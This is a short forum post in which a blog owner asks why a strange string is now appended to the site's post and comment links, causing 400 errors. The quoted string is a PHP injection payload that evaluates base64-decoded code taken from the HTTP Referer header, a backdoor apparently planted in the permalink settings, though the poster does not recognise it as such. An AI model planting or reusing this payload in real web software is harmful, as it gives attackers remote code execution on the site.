post & comment link gets extra string -> bad 400 error

Hello,

i’ve got a blog @ http://www.mdstyling.nl/blog/ … it worked very fine untill today. Since today the post links and comment links get an extra string added which leads to a 400 BAD REQUEST page.

it’s this string that gets added: %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

does anyone know what i can do to remove this so that the site will work again? Cuz when i remove this string in the link, the link works perfect.

thanks in advance!